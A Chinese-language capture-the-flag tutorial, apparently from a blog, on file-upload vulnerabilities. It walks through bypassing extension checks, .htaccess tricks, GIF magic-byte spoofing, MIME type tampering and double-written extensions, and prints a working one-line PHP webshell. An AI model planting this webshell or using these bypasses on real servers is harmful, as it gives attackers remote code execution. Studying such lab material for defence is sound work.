赞
踩
指的是用户上传了一个可以执行的脚本,运行此脚本后获得执行服务器端命令的权限,一般用作与于在上传图片或者文件处,用户通过一些手段绕过检测机制,从而上传恶意代码并且执行
1.可以上传该文件
2.上传的路径可以知道并且可以访问
3.可执行该上传的文件
文件上传相对于SQL注入危害更大。
SQL注入利用没有对SQL命令插入到URL或请求查询字符串进行一个严格的过滤的原理,最终欺骗服务器执行SQL命令,窃取数据,从而脱库洗库。如果 Web应用程序存在上传漏洞,也没有对上传的文件进行严格过滤,服务器解释并执行了用户上传的脚本,导致代码执行
通过这个文件的上传攻击者可以植入webshell,可能进行一系列钓鱼,木马等等
原理:未对文件前端,后缀,头文件等等进行任何检测,直接上传一句话木马
<?php @eval($_REQUEST['password']);?>
上传之后用蚁剑连接
得到flag
只允许上传.jpg/.png/.gif后缀的文件
这里在前端会直接对后缀进行验证,只允许后缀为.jpg/.png/.gif的文件上传,我们先把文件名改为1.gif,然后上传的时候进行抓包,然后改包为.php后缀,再重放
进行抓包,然后重放
重放成功后,用蚁剑连接,得到flag
全称Hypertext Access(超文本入口),通过.htaccess文件,可以帮我们实现用户重定向、自定义错误页面、更改扩展名、以及使用其他文件作为index文件等等,如果一个web应用允许上传.htaccess文件,那就意味着,攻击者可以利用这个漏洞进行更改Apache的配置
首先上传一个.htaccess文件
上传这个文件
上传成功,然后再上传一个一句话木马【注意:这里的一句话木马没有后缀,重命名为ganyu,ganyu是随便写的,取决于.htaccess文件的第一句话里的内容】
上传成功,用蚁剑连接,拿flag
文件头、文件头检测是什么?文件头就是描述一个文件的一些重要的属性,它告诉了打开并运行该文件的程序这个文件的文件类型是什么,文件头检测是指当浏览器上传到服务器的时候,白名单会进行的文件头检测,符合的话允许上传,否则不允许上传。
这里我们用GIF8(GIF89a也可以)做示例
在1.txt文档内,在一句话木马前添加一句GIF8
然后,将文件后缀更改为.jpg后缀
上传,抓包后,更改后缀为1.php,重放,蚁剑连接得到flag
上传,抓包后,更改后缀为1.php,重放,蚁剑连接得到flag
类似GIF8的还有
File | Type | ExtensionsHeader |
JPEG | Jpg/jpeg | 0xFFD8FF |
PNG | png | 0x89504E470D0A1A0A |
GIF | gif | GIF89a |
TIFF | Tif/tiff | 0x49492A00 |
MiMe是什么:MIME由一串简单的字符串组成,初期标识了邮件e-mail的附件的类型,后来在html文件中可以使用content-type属性表示,描述了这个文件类型的。
MiMe常见的格式
audio/wav | wave音频流媒体文件 |
audio/webm | webm音频文件格式 |
audio/ogg | ogg多媒体文件格式的音频文件 |
audio/mpeg | mpeg多媒体文件格式的音频文件 |
image/gif | gif图片 |
image/jpeg | jpeg图片 |
image/png | png图片 |
image/svg+xml | svg矢量图片 |
application/json | json格式 |
当我们上传一个1.php文件的时候,content-type会自动将我们这个文件类型标识为php,从而与上传机制不符阻止了上传
我们在这里进行抓包,将属性改为允许上传的格式,如image/gif、image/png等等,再重放
上传成功,用蚁剑连接,得到flag
这里我们发现如果上传1.php的话会直接把php删除,如果我们上传一个以.pphp结尾的文件呢?
只过滤了php,而没有过滤p,利用这个漏洞,我们编写一个后缀为为pphphp的文件
上传成功,其实这里上传的后缀有很多种,比如1.pphpphphp、1.Pphphp等等,我们现在用蚁剑连接,就得到flag
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。